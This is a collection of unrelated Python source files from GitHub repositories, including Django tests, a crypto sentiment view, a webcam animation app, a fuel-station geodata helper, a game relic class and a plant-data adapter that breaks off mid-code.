+{"seq_id":"29030381117","text":"import pytest\n\nfrom django.test import TestCase\nfrom django.http import HttpRequest\n\nfrom intranet.audit.src.users.models import User, StatedPerson\nfrom intranet.audit.src.users.dao.user import get_user_by_request, check_stated_persons_existence\n\n\n@pytest.fixture\ndef stated_person_one(db):\n    return StatedPerson.objects.create(\n        id='123_GHFTHFJGJ',\n        uid='123',\n        login='test',\n        first_name='test name',\n        last_name='test last name',\n        position='slave',\n        department='cleaning service',\n        department_slug='clean_service',\n    )\n\n\n@pytest.fixture\ndef stated_person_two(db):\n    return StatedPerson.objects.create(\n        id='124_GHFTHFJGJFD',\n        uid='124',\n        login='boss login',\n        first_name='test boss name',\n        last_name='test boss last name',\n        position='big boss',\n        department='cleaning service',\n        department_slug='clean_service',\n    )\n\n\n@pytest.mark.usefixtures(\"dummy_yauser\")\nclass GetUserTestCase(TestCase):\n    def setUp(self):\n        self.request = HttpRequest()\n        self.request.yauser = self.dummy_yauser\n\n    def test_get_user_exists(self):\n        User.objects.create(uid=self.dummy_yauser.uid, login=self.dummy_yauser.login,\n                            last_name=self.dummy_yauser.last_name,\n                            first_name=self.dummy_yauser.first_name)\n        user = get_user_by_request(self.request)\n        self.assertEqual(User.objects.count(), 1)\n        self.assertEqual(user.uid, self.dummy_yauser.uid)\n        self.assertEqual(user.login, self.dummy_yauser.login)\n\n    def test_get_user_not_exists_not_save(self):\n        user = get_user_by_request(self.request)\n        self.assertEqual(User.objects.count(), 0)\n        self.assertEqual(user.uid, self.dummy_yauser.uid)\n        self.assertEqual(user.login, self.dummy_yauser.login)\n\n\ndef test_check_stated_persons_existence_not_exists(stated_person_one, stated_person_two):\n    person = StatedPerson(\n        uid='123',\n        login='test',\n        first_name='test name',\n        last_name='test last name',\n        position='rebel',\n        department='cleaning service',\n        department_slug='clean_service',\n    )\n    stated_persons, to_create = check_stated_persons_existence([person])\n    assert len(stated_persons) == 0\n    assert len(to_create) == 1\n    assert to_create[0].position == person.position\n\n\ndef test_check_stated_persons_existence_exists_two(stated_person_one, stated_person_two):\n    person = stated_person_one\n    person1 = stated_person_two\n    stated_persons, to_create = check_stated_persons_existence([person, person1])\n    assert len(stated_persons) == 2\n    assert stated_persons[person.uid].position == stated_person_one.position\n    assert stated_persons[person1.uid].position == stated_person_two.position\n    assert len(to_create) == 0\n\n\ndef test_check_stated_persons_existence_exists_one(stated_person_one, stated_person_two):\n    person = stated_person_two\n    person1 = StatedPerson(\n        uid='123',\n        login='test',\n        first_name='test name',\n        last_name='test last name',\n        position='rebel',\n        department='cleaning service',\n        department_slug='clean_service',\n    )\n    stated_persons, to_create = check_stated_persons_existence([person, person1])\n    assert len(stated_persons) == 1\n    assert stated_persons[person.uid].position == stated_person_two.position\n    assert stated_persons[person.uid].last_name == stated_person_two.last_name\n    assert len(to_create) == 1\n    assert to_create[0].position == person1.position\n    assert to_create[0].last_name == person1.last_name\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Intranet/tests/users/dao/test_user.py","file_name":"test_user.py","file_ext":"py","file_size_in_byte":3640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15719134007","text":"\"\"\"Finbrain Crypto Sentiment Analysis\"\"\"\n__docformat__ = \"numpy\"\n\nimport logging\nimport os\n\nimport pandas as pd\n\nfrom openbb_terminal.common.behavioural_analysis.finbrain_model import get_sentiment\nfrom openbb_terminal.common.behavioural_analysis.finbrain_view import (\n    plot_sentiment,\n    lambda_sentiment_coloring,\n)\nfrom openbb_terminal.decorators import log_start_end\nfrom openbb_terminal.helper_funcs import export_data\nfrom openbb_terminal.rich_config import console\nfrom openbb_terminal import rich_config\n\nlogger = logging.getLogger(__name__)\n\nPATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\ntry:\n    COINS_JSON = pd.read_json(PATH + \"/data/finbrain_coins.json\")\n    COINS = COINS_JSON[\"SYMBOL\"].tolist()\nexcept ValueError:\n    COINS = None\n\n\n@log_start_end(log=logger)\ndef display_crypto_sentiment_analysis(coin: str, export: str) -> None:\n    \"\"\"Sentiment analysis from FinBrain for Cryptocurrencies\n\n    FinBrain collects the news headlines from 15+ major financial news\n    sources on a daily basis and analyzes them to generate sentiment scores\n    for more than 4500 US stocks. FinBrain Technologies develops deep learning\n    algorithms for financial analysis and prediction, which currently serves\n    traders from more than 150 countries all around the world.\n    [Source:  https://finbrain.tech]\n\n    Parameters\n    ----------\n    coin: str\n        Cryptocurrency\n    export : str\n        Export dataframe data to csv,json,xlsx file\n    \"\"\"\n\n    df_sentiment = get_sentiment(\n        f\"{coin}-USD\"\n    )  # Currently only USD pairs are available\n\n    if df_sentiment.empty:\n        console.print(f\"Couldn't find Sentiment Data for {coin}\\n\")\n        return\n\n    plot_sentiment(df_sentiment, coin)\n    df_sentiment.sort_index(ascending=True, inplace=True)\n\n    if rich_config.USE_COLOR:\n        console.print(\n            df_sentiment[\"Sentiment Analysis\"]\n            .apply(lambda_sentiment_coloring, last_val=0)\n            .to_string(),\n            \"\\n\",\n        )\n    else:\n        console.print(df_sentiment.to_string(), \"\\n\")\n\n    export_data(\n        export,\n        os.path.dirname(os.path.abspath(__file__)),\n        \"finbrain\",\n        df_sentiment,\n    )\n","repo_name":"rohankumardubey/OpenBBTerminal","sub_path":"openbb_terminal/cryptocurrency/due_diligence/finbrain_crypto_view.py","file_name":"finbrain_crypto_view.py","file_ext":"py","file_size_in_byte":2208,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"677124751","text":"import json\n\n#\n# Given two integers left and right that represent the range [left, right], \n# return the bitwise AND of all numbers in this range, inclusive.\n#\n# https://leetcode.com/problems/bitwise-and-of-numbers-range/\n\nclass Solution:\n    def rangeBitwiseAnd(self, left: int, right: int) -> int:\n        count = 0\n        while left != right:\n            left >>= 1\n            right >>= 1\n            count += 1          \n\n        return left << count\n    \n\nif __name__ == '__main__':    \n    with open('OUTPUT/IN', 'r') as f_in, open('OUTPUT/OUT', \"w\") as f_out:\n        while True:\n            left_line = f_in.readline().rstrip()\n            rigth_line = f_in.readline().rstrip()\n\n            if not (left_line and rigth_line):\n                break\n            left = json.loads(left_line)\n            right = json.loads(rigth_line)\n\n            res = Solution.rangeBitwiseAnd(Solution(), left, right)     \n\n            f_out.write(json.dumps(res) + '\\n')\n","repo_name":"yuvSid/interviewPrepare","sub_path":"python/bitwise_and_range.py","file_name":"bitwise_and_range.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"25551987846","text":"from PIL import Image,ImageTk\n\nimport math\n\nimport sounddevice as sd\nfrom animan import AnimationManager\nimport datetime\nimport keybind\nimport argparse\nimport queue\nfrom functools import partial\nimport cv2\nfrom threading import Lock\nfrom micman import MicMan\n\ncap_lock = Lock()\n\naction_history = []\nplaying_action = \"idle\"\n\nmicman = MicMan()\n\nsame_vid = True\n\ntoon_view_width = 400\ntoon_view_height = 400\n\nanim_grid_height = 200\n\nw_width = 400\nw_height = w_width\n\nMIN_WIN_DELTA = 2\nMIN_TIME_DELTA_MSECS = 500\n\nlast_resize = datetime.datetime.now()\n\nupload_img = None\nwindow_resize_active=False\nactive_video_path = \"\"\n# active_video_path = \"/Users/aalobaid/Downloads/Tuber/Tuber/idlenormal.mp4\"\nactive_video_fps = 1000\n\ncap = None\n\nanime_q = queue.Queue()\n# anime_q = []\nanime_manager = AnimationManager()\n\nselected_property = \"\"\n\ncv2.namedWindow(\"window\", cv2.WINDOW_NORMAL)\ncv2.startWindowThread()\n\n\ndef on_window_resize(event):\n    global last_resize, w_height, w_width, anim_bar\n\n    time_diff = datetime.datetime.now() - last_resize\n    if abs(w_height - event.height) > MIN_WIN_DELTA and time_diff.microseconds > MIN_TIME_DELTA_MSECS:\n        w_height = root.winfo_height()\n        w_width = root.winfo_width()\n        print(f\"Resize event height: {event.height} height: {w_height} width: {w_width}\")\n        anim_bar.resize_buttons(w_height)\n        last_resize = datetime.datetime.now()\n\n\ndef loop_video(vpath=None):\n    global cap, active_video_path, active_video_fps\n\n    if vpath is None:\n        vpath = active_video_path\n    else:\n        active_video_path = vpath\n\n    cap_lock.acquire()\n    if cap:\n        cap.release()\n        # del cap\n        cap = None\n    cap = cv2.VideoCapture(vpath)\n    cap_lock.release()\n\n    active_video_fps = cap.get(cv2.CAP_PROP_FPS)\n    # print(f\"FPS: {active_video_fps}\")\n\n\n\n\ndef photo_image(img):\n    h, w = img.shape[:2]\n    data = f'P6 {w} {h} 255 '.encode() + img[..., ::-1].tobytes()\n    return PhotoImage(width=w, height=h, data=data, format='PPM')\n\n\ndef cmd_controls(pressed_key):\n    global selected_property\n    if pressed_key == ord(\"s\"):\n        selected_property = \"sensitivity\"\n        print(f\"Selected property: {selected_property} and value is {micman.sensitivity}\")\n    elif pressed_key == ord(\"+\") or pressed_key == ord(\"-\"):\n        sign = 1\n        if pressed_key == ord(\"-\"):\n            sign = -1\n\n        if selected_property == \"sensitivity\":\n            new_sens = micman.sensitivity + 1*sign\n            if 0 < new_sens < 30:\n                micman.sensitivity = new_sens\n                print(f\"new sensitivity: {new_sens}\")\n            else:\n                print(f\"invalid sensitivity: {new_sens}\")\n\n\ndef update():\n    global cap, same_vid\n    # global w_width, w_height, cap\n    while same_vid:\n        cap_lock.acquire()\n        ret, img = cap.read()\n        cap_lock.release()\n        if ret:\n            cv2.imshow('Frame', img)\n            pressed_key = cv2.waitKey(25)\n            if pressed_key == ord('q'):\n                print(f\"stoping the app\")\n                break\n            else:\n                cmd_controls(pressed_key)\n            # if cv2.waitKey(25) & 0xFF == ord('q'):\n            #     print(f\"stoping the app\")\n            #     break\n\n            # Press Q on keyboard to  exit\n            # if cv2.waitKey(25) & 0xFF == ord('q'):\n            #     return\n\n            # w_width = canvas.winfo_width()\n            # w_height = canvas.winfo_height()\n            # toon_view_width = min(w_width, w_height)\n            # toon_view_height = toon_view_width\n            # img = cv2.resize(img, (toon_view_width, toon_view_height))\n            #\n            # photo = photo_image(img)\n            # canvas.delete()\n            # canvas.create_image(w_width/2 - toon_view_width/2, w_height/2 - toon_view_height/2, image=photo, anchor=NW)\n            # canvas.image = photo\n        else:\n            loop_video()\n        # if anime_q.empty():\n        # # q_lock.acquire()\n        # # if not anime_q:\n        #     print(f\"queue is empty\")\n        #     loop_video()\n        #     # q_lock.release()\n        # else:\n        #     # vpath = anime_q.get(block=True)\n        #     # vpath = anime_q.pop(0)\n        #     vpath = anime_q.get(0)\n        #\n        #     # q_lock.release()\n        #     print(f\"getting a new vpath: {vpath}\")\n    #         loop_video(vpath)\n    # wait_time = int(1000/active_video_fps)\n    # root.after(wait_time, update)\n\n\n\n\n\n\ndef take_action(action_name):\n    global active_video_path\n    print(f\"Doing action {action_name}\")\n    print(type(action_name))\n    if action_name.isdigit():\n        open_anim_id = int(action_name)\n    if 0 <= open_anim_id <= 9:\n        print(f\"Run animation {open_anim_id}\")\n        vpath = anim_bar.get_vid(open_anim_id)\n        if vpath:\n            active_video_path = vpath\n            print(f\"Change active video to {vpath}\")\n            loop_video()\n\n\n\n\ndef audio_to_action(amp):\n    global anime_manager, playing_action\n\n    if amp < 0.05:\n        action = \"idle\"\n    # else:\n    #     action = \"talk\"\n    elif amp < 0.7:\n        action = \"talk\"\n    else:\n        action = \"peak\"\n\n    if \"talk\" in action_history or \"peak\" in action_history:\n        action_history.pop(0)\n        action_history.append(action)\n        if playing_action == \"talk\" and action==\"peak\":\n            pass\n            # action_history.append(action)\n            # do peak\n        elif playing_action == \"peak\" and action==\"talk\":\n            pass\n            # action_history.append(action)\n            # do talk\n        else:\n            # action_history.append(action)\n            if playing_action in [\"talk\", \"peak\"]:\n                # continue to play the same animation\n                print(f\"Continue the animation {playing_action}\")\n                return\n            # else:\n            #     # in case playing action was idle but should've been talking or peak.\n            #     action = \"talk\"\n    elif action == \"idle\" and playing_action == \"idle\":\n        # continue playing the idle\n        return\n    else:\n        action_history.pop(0)\n        action_history.append(action)\n\n        # if adle continue to be adle\n        # if was adle and now talk or peak. do the new action\n\n\n    print(f\"audio to action: {action} and amp {('{:.2f}'.format(amp))}\")\n    vpath = anime_manager.get_action_vid(action)\n    loop_video(vpath)\n    playing_action = action\n\n\n\n\n\ndef parse():\n    parser = argparse.ArgumentParser(description=__doc__)\n    parser.add_argument('-v', '--videos', required=True, nargs='+', help='the list of videos to be utilised')\n    parser.add_argument('-d', '--device', type=int, help=\"The index of the number. This should be an integer\")\n    parser.add_argument('-s', '--sensitivity', default=1, type=int, help=\"How sensitive are the mics\",\n                        choices=range(1, 50),\n                        metavar=\"[0-50]\",\n                        )\n    args = parser.parse_args()\n    print(f\"The arguments are parsed:\")\n    print(f\"args: {args}\")\n    if isinstance(args.device, int):\n        dev_id = args.device\n    else:\n        dev_id = micman.get_device_from_user()\n\n    return args.videos, dev_id, args.sensitivity\n\n\ndef exit_app():\n    global cap, cap_lock\n    print(f\"Exiting the app and releasing the resources.\")\n    micman.stop_audio_capture()\n    cap_lock.acquire()\n    if cap:\n        cap.release()\n        cap = None\n    cap_lock.release()\n    cv2.destroyAllWindows()\n\n\ndef setup_action_history(history=3,action=\"idle\"):\n    global action_history\n    for i in range(history):\n        action_history.append(action)\n\n\ndef main():\n    global root, cap, anime_manager\n    videos, dev_id, sens = parse()\n    setup_action_history(history=3)\n    anime_manager.organise(videos)\n    micman.callback = audio_to_action\n    micman.sensitivity = sens\n    micman.capture_audio(dev_id)\n    loop_video(anime_manager.get_action_vid(\"idle\"))\n    try:\n        update()\n    except KeyboardInterrupt:\n        print(f\"Keyboard is interrupted. Now releasing the resources.\")\n    exit_app()\n\n\n    # cap.release()\n\nif __name__ == \"__main__\":\n    main()\n\n\n\n\n\n\n","repo_name":"ahmad88me/pytoontuber","sub_path":"toontuber/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8112,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"13930967353","text":"from notifications.models import Notification\n\nimport constants\nfrom libs.websocket import EpisodeNotificationWebsocket\nfrom tests.base_test import BaseTestCase\nfrom tests.factories import (\n    EpisodeFactory,\n    StudentFactory,\n    UserStudentMappingFactory,\n)\n\n\nclass TestEpisodeNotificationWebsocket(BaseTestCase):\n    @classmethod\n    def setUpTestData(cls):\n        super().setUpTestData()\n\n        cls.student = StudentFactory.create()\n\n        UserStudentMappingFactory.create(\n            student=cls.student,\n            user=cls.manager_user,\n            added_by=cls.super_user,\n        )\n        UserStudentMappingFactory.create(\n            student=cls.student,\n            user=cls.experimental_user,\n            added_by=cls.super_user,\n        )\n\n        cls.episode = EpisodeFactory.create(\n            student=cls.student,\n            user=cls.manager_user,\n        )\n\n    def test_send_episode_notification_to_mapped_users(self):\n        old_count = Notification.objects.filter(\n            verb=constants.Activity.CREATE_EPISODE\n        ).count()\n\n        EpisodeNotificationWebsocket.send_episode_notification_to_mapped_users(\n            self.episode\n        )\n\n        new_count = Notification.objects.filter(\n            verb=constants.Activity.CREATE_EPISODE\n        ).count()\n        self.assertEqual(old_count + 1, new_count)\n","repo_name":"stanislavpol00/education","sub_path":"tests/unit/libs/websocket/test_episode.py","file_name":"test_episode.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22525934143","text":"\"\"\"\nWrite a Python function to check whether a string is pangram or not.\n(Assume the string passed in does not have any punctuation)\n\"\"\"\n\n\nimport string\n\n\ndef ispangram(str1, alphabet=string.ascii_lowercase):\n\n    my_new_set = set(str1.lower().replace(' ', ''))\n    my_alphabet_set = set(alphabet)\n\n    return my_alphabet_set.difference(my_new_set) == 0\n\n\nprint(ispangram(\"The quick brown fox jumps over the lazy dog\"))\nprint(ispangram(\"It is really cold in the morning for ahmendabad people working really good for longer times in a company\"))\n\n","repo_name":"harsh-p-soni/pythonLearning","sub_path":"2022 Complete Python Bootcamp From Zero to Hero in Python/03-Methods and Functions/Functions and Methods Homework/07.py","file_name":"07.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30116990477","text":"from __future__ import annotations\n\nfrom typing     import TYPE_CHECKING\nfrom ...core.objects.relic import DMRelic\nfrom ...core.objects.hero import DMHero\nfrom ...rooms.traproom import DMTrapRoom\n\nif TYPE_CHECKING:\n    from dm.core.contexts   import AttackContext\n    from dm.core.game.game import DMGame\n################################################################################\n\n__all__ = (\"HiddenTrapChute\",)\n\n################################################################################\nclass HiddenTrapChute(DMRelic):\n\n    def __init__(self, state: DMGame):\n\n        super().__init__(\n            state,\n            _id=\"REL-251\",\n            name=\"Hidden Trap Chute\",\n            description=(\n                \"When a trap defeats an enemy, it will reactivate if able to \"\n                \"do so.\"\n            ),\n            rank=4\n        )\n\n################################################################################\n    def on_acquire(self) -> None:\n        \"\"\"Called automatically when a relic is added to the player's inventory.\"\"\"\n\n        self.listen(\"on_death\")\n\n################################################################################\n    def notify(self, ctx: AttackContext) -> None:\n\n        if isinstance(ctx.source, DMTrapRoom):\n            if isinstance(ctx.target, DMHero):\n                ctx.source.reactivate()\n\n################################################################################\n","repo_name":"AllegroVivo/DungeonDefense","sub_path":"dm/relics/FourStar/HiddenTrapChute.py","file_name":"HiddenTrapChute.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2575387737","text":"from typing import Optional\n\nimport pytest\n\nfrom ansys.fluent.core import examples\nfrom ansys.fluent.core.filereader.case_file import SettingsFile as SettingsReader\n\n\ndef call_settings_reader(\n    settings_file_name: Optional[str] = None, expected: Optional[dict] = None\n):\n    reader = SettingsReader(settings_file_name=settings_file_name)\n    if expected is not None:\n        assert reader.precision() == expected[\"precision\"]\n        assert reader.num_dimensions() == expected[\"num_dimensions\"]\n        assert reader.iter_count() == expected[\"iter_count\"]\n        assert {\n            p.name: (p.numeric_value, p.units) for p in reader.input_parameters()\n        } == expected[\"input_parameters\"]\n        assert {p.name: p.units for p in reader.output_parameters()} == expected[\n            \"output_parameters\"\n        ]\n\n\ndef call_settings_reader_static_mixer(\n    settings_file_name: Optional[str] = None,\n):\n    call_settings_reader(\n        settings_file_name=settings_file_name,\n        expected=dict(\n            precision=2,\n            num_dimensions=3,\n            iter_count=100,\n            input_parameters=dict(\n                inlet1_temp=(300, \"K\"),\n                inlet1_vel=(1, \"m/s\"),\n                inlet2_temp=(350, \"K\"),\n                inlet2_vel=(1, \"m/s\"),\n            ),\n            output_parameters={\n                \"outlet-temp-avg-op\": \"K\",\n                \"outlet-vel-avg-op\": \"m s^-1\",\n            },\n        ),\n    )\n\n\ndef static_mixer_settings_file():\n    return examples.download_file(\n        \"Static_Mixer_Params\",\n        \"pyfluent/static_mixer\",\n        return_without_path=False,\n    )\n\n\ndef test_settings_reader_static_mixer_h5():\n    call_settings_reader_static_mixer(settings_file_name=static_mixer_settings_file())\n\n\ndef test_meshing_unavailable():\n    reader = SettingsReader(settings_file_name=static_mixer_settings_file())\n    with pytest.raises(AttributeError) as msg:\n        reader.get_mesh()\n    assert msg.value.args[0] == \"'SettingsFile' object has no attribute 'get_mesh'\"\n\n\ndef test_settings_reader_get_rp_and_config_vars():\n    reader = SettingsReader(settings_file_name=static_mixer_settings_file())\n    rp_vars = reader.rp_vars()\n    assert rp_vars\n    assert hasattr(rp_vars, \"__getitem__\")\n    config_vars = reader.config_vars()\n    assert config_vars\n    assert hasattr(config_vars, \"__getitem__\")\n    assert config_vars[\"rp-3d?\"] is True\n    assert reader.config_var(\"rp-3d?\") is True\n    assert reader.config_var.rp_3d__q() is True\n    assert len(reader.rp_var.context.map_r17__plus()) == 53\n\n    with pytest.raises(RuntimeError) as msg:\n        reader.rp_var.defaults.pre_r19__dot0_early()\n    assert msg.value.args[0] == r\"Invalid variable defaults/pre-r19.0-early\"\n\n    with pytest.raises(ValueError) as msg:\n        reader.config_var(\"rp-3d\")\n    assert (\n        msg.value.args[0] == \"rp-3d is not an allowed config-vars name.\\n\"\n        \"The most similar names are: rp-3d?, rp-des?.\"\n    )\n","repo_name":"ansys/pyfluent","sub_path":"tests/test_settings_reader.py","file_name":"test_settings_reader.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","stars":175,"dataset":"github-code","pt":"3"}
+{"seq_id":"4350026636","text":"import json\nfrom collections import Counter\nfrom geopy.distance import geodesic\nfrom geopy.geocoders import Nominatim\nfrom django.http import JsonResponse\n\nAPP_NAME = 'carbur-app'\n\n\nclass GpsDataCollection:\n\n    def __init__(self, json_data_path):\n        self.jsonObject = self.getJsonData(json_data_path)\n\n    def getJsonData(self, path):\n\n        jsonFile = open(path)\n        data = json.load(jsonFile)\n        jsonFile.close()\n\n        return data\n\n    def getNumberOfPointsDeVente(self):\n        return len(self.jsonObject)\n\n    def getCityNumberOfPointsDeVente(self, cityName):\n        data = self.jsonObject\n        numberOFpdv = Counter(k[:] for d in data for k, v in d.items() if k.startswith(\n            'ville') and v.upper().startswith(cityName.upper()))\n        return numberOFpdv['ville']\n\n    def searchByCity(self, cityName):\n\n        data = self.jsonObject\n        pointsDeVente = json.dumps(\n            [pointDevente for pointDevente in data if pointDevente['ville'].upper() == cityName.upper()])\n\n        return json.loads(pointsDeVente)\n\n    def searchByCircle(self, center, radius):\n\n        pointsDeVente = []\n        data = self.jsonObject\n\n        for pdv in data:\n            pdv_coordinate = (float(pdv['latitude']), float(pdv['longitude']))\n            if geodesic(center, pdv_coordinate).km <= radius:\n                pointsDeVente.append(pdv)\n\n        return json.loads(json.dumps(pointsDeVente))\n\n    def getCityNameFromCoords(self, lat, lng):\n        geolocator = Nominatim(user_agent=APP_NAME)\n        pdv_coordinate = str(lat)+\", \"+str(lng)\n        location = geolocator.reverse(pdv_coordinate, timeout=None)\n        loc_dict = location.raw\n        return loc_dict['address']['city']\n\n    def getCityCoords(self, cityname):\n        geolocator = Nominatim(user_agent=APP_NAME)\n        location = geolocator.geocode(cityname)\n        position = {\"lat\":location.latitude,\"lng\":location.longitude}\n\n        return position\n\n    def getListOfCities(self):\n        cities = []\n        data = self.jsonObject\n\n        for pdv in data:\n            if pdv['ville'].capitalize() not in cities:\n                cities.append(pdv['ville'].capitalize())\n\n        cities.sort()\n        return cities\n\n    def getPointsDeVenteByCityAndCarburant(self, city, carburants):\n\n        pointsDeVente = []\n        data = self.jsonObject\n        carburants = [x.lower() for x in carburants]\n        \n        for pdv in data:\n            if pdv['ville'].upper() == city.upper():\n                if len(carburants) > 0:\n                    if \"prix\" in pdv:\n                        if isinstance(pdv[\"prix\"], list):\n                            for i in range(len(pdv[\"prix\"])):\n                                if pdv[\"prix\"][i][\"nom\"].lower() in carburants:\n                                    pointsDeVente.append(pdv)\n                                    break\n                        else:\n                            if pdv[\"prix\"][\"nom\"].lower() in carburants:\n                                pointsDeVente.append(pdv)\n                else:\n                    pointsDeVente.append(pdv)  \n\n        return json.loads(json.dumps(pointsDeVente))\n\n    def getPointsDeVenteByRadiusAndCarburant(self, center, radius, carburants):\n    \n        pointsDeVente = []\n        data = self.jsonObject\n        carburants = [x.lower() for x in carburants]     \n        radius = float(radius)\n\n        for pdv in data:\n            pdv_coordinate = (float(pdv['latitude']), float(pdv['longitude']))\n            if geodesic(center, pdv_coordinate).km <= radius:\n                if len(carburants) > 0:\n                    if \"prix\" in pdv:\n                        if isinstance(pdv[\"prix\"], list):\n                            for i in range(len(pdv[\"prix\"])):\n                                if pdv[\"prix\"][i][\"nom\"].lower() in carburants:\n                                    pointsDeVente.append(pdv)\n                                    break\n                        else:\n                            if pdv[\"prix\"][\"nom\"].lower() in carburants:\n                                pointsDeVente.append(pdv)\n                else:\n                    pointsDeVente.append(pdv)\n\n        return json.loads(json.dumps(pointsDeVente))  \n\n\n#data = GpsDataCollection(\"PointsDeVenteTraited.json\")\n#myPosition = (43.516650580276526, 5.455939784654437)\n#print (data.searchByCircle(myPosition,5))","repo_name":"Hanry97/carbur-app","sub_path":"carbur_backend/polls/manageJsonFiles.py","file_name":"manageJsonFiles.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18207661073","text":"import random\nimport string\nimport sqlite3\n\ndef getKey(N):\n    return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(N))\n\nconn = sqlite3.connect('tanks.sqlite')\nc = conn.cursor()\n#c.execute(\"DELETE FROM players\")\nnames = ['Savcha']\nfor name in names:\n    key = getKey(8)\n    print(name,\" - \", key)\n    c.execute(\"INSERT INTO players (name, key, state) VALUES (?,?,?)\", [name, key, \"waiting\"])\n\nconn.commit();\n\n'''\nCrimson   4  3    4 4   15\nSon       3  1  2   1  7    - II\nLizzy     2     1     3\nKorol'    1       1   2\nSaraj        2    2   4     - III\nKolobok      4  4   2  10\nnik             3 3 3  9    - I\n'''\n","repo_name":"roctbb/GoTo","sub_path":"tanksTester/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"2930809530","text":"\"\"\"\nPlantDTO to derevo.Plant adapter is defined here.\n\"\"\"\n\nfrom derevo import Plant\nfrom derevo import enumerations as c_enum\nfrom loguru import logger\nfrom sqlalchemy import bindparam, select\nfrom sqlalchemy.ext.asyncio import AsyncConnection\n\nfrom plants_api.db.entities import (\n    climate_zones,\n    humidity_types,\n    light_types,\n    limitation_factors,\n    plants_climate_zones,\n    plants_humidity_types,\n    plants_light_types,\n    plants_limitation_factors,\n    plants_soil_acidity_types,\n    plants_soil_fertility_types,\n    plants_soil_types,\n    soil_acidity_types,\n    soil_fertility_types,\n    soil_types,\n)\nfrom plants_api.db.entities.enums import CohabitationType\nfrom plants_api.dto.plants import PlantDto\n\nfrom .derevo_enums import EnumAdapters\n\n\n_cohabitation_type_to_tolerance_types = {\n    CohabitationType.negative: c_enum.ToleranceType.NEGATIVE,\n    CohabitationType.neutral: c_enum.ToleranceType.NEUTRAL,\n    CohabitationType.positive: c_enum.ToleranceType.POSITIVE,\n    None: None,\n}\n\n\nasync def plant_dto_to_derevo_plant(  # pylint: disable=too-many-locals,too-many-statements\n    conn: AsyncConnection, plants: list[PlantDto]\n) -> list[Plant]:\n    \"\"\"\n    Transform plant DTOs list to list of derevo Plant types.\n    \"\"\"\n    if len(plants) == 0:\n        return []\n\n    limitation_factors_statement = select(\n        select(limitation_factors.c.name)\n        .where(limitation_factors.c.id == plants_limitation_factors.c.limitation_factor_id)\n        .scalar_subquery(),\n        plants_limitation_factors.c.type,\n    ).where(plants_limitation_factors.c.plant_id == bindparam(\"plant_id\"))\n    humidity_statement = select(\n        select(humidity_types.c.name)\n        .where(humidity_types.c.id == plants_humidity_types.c.humidity_type_id)\n        .scalar_subquery(),\n        plants_humidity_types.c.type,\n    ).where(plants_humidity_types.c.plant_id == bindparam(\"plant_id\"))\n    light_statement = select(\n        select(light_types.c.name).where(light_types.c.id == plants_light_types.c.light_type_id).scalar_subquery(),\n        plants_light_types.c.type,\n    ).where(plants_light_types.c.plant_id == bindparam(\"plant_id\"))\n    soil_acidity_statement = select(\n        select(soil_acidity_types.c.name)\n        .where(soil_acidity_types.c.id == plants_soil_acidity_types.c.soil_acidity_type_id)\n        .scalar_subquery(),\n        plants_soil_acidity_types.c.type,\n    ).where(plants_soil_acidity_types.c.plant_id == bindparam(\"plant_id\"))\n    soil_fertility_statement = select(\n        select(soil_fertility_types.c.name)\n        .where(soil_fertility_types.c.id == plants_soil_fertility_types.c.soil_fertility_type_id)\n        .scalar_subquery(),\n        plants_soil_fertility_types.c.type,\n    ).where(plants_soil_fertility_types.c.plant_id == bindparam(\"plant_id\"))\n    soil_type_statement = select(\n        select(soil_types.c.name).where(soil_types.c.id == plants_soil_types.c.soil_type_id).scalar_subquery(),\n        plants_soil_types.c.type,\n    ).where(plants_soil_types.c.plant_id == bindparam(\"plant_id\"))\n    usda_zone_statement = select(\n        select(climate_zones.c.usda_number)\n        .where(climate_zones.c.id == plants_climate_zones.c.climate_zone_id)\n        .scalar_subquery(),\n        plants_climate_zones.c.type,\n    ).where(plants_climate_zones.c.plant_id == bindparam(\"plant_id\"))\n\n    plants_out: list[Plant] = []\n\n    for plant in plants:\n        if plant.genus is None:\n            continue\n        payload = {\"plant_id\": plant.id}\n        try:\n            life_form = EnumAdapters.life_forms.get(plant.type)\n\n            res = list(await conn.execute(limitation_factors_statement, payload))\n            limitation_factors_resistances = {\n                EnumAdapters.limitation_factors.get(lf): _cohabitation_type_to_tolerance_types[value]\n                for lf, value in res\n            }\n            if None in limitation_factors_resistances:\n                logger.warning(\n                    \"Some of the limitation factors was not found in mapping for plant with id={}\",\n                    plant.id,\n                )\n                del limitation_factors_resistances[None]\n\n            res = list(await conn.execute(humidity_statement, payload))\n            humidity_preferences = {\n                EnumAdapters.humidity.get(ht): _cohabitation_type_to_tolerance_types[value] for ht, value in res\n            }\n            if None in humidity_preferences:\n                logger.warning(\n                    \"Some of the humidity types was not found in mapping for plant with id={}\",\n                    plant.id,\n                )\n                del humidity_preferences[None]\n\n            res = list(await conn.execute(light_statement, payload))\n            light_preferences = {\n                EnumAdapters.light.get(lt): _cohabitation_type_to_tolerance_types[value] for lt, value in res\n            }\n            if None in light_preferences:\n                logger.warning(\n                    \"Some of the light types was not found in mapping for plant with id={}\",\n                    plant.id,\n                )\n                del light_preferences[None]\n\n            res = list(await 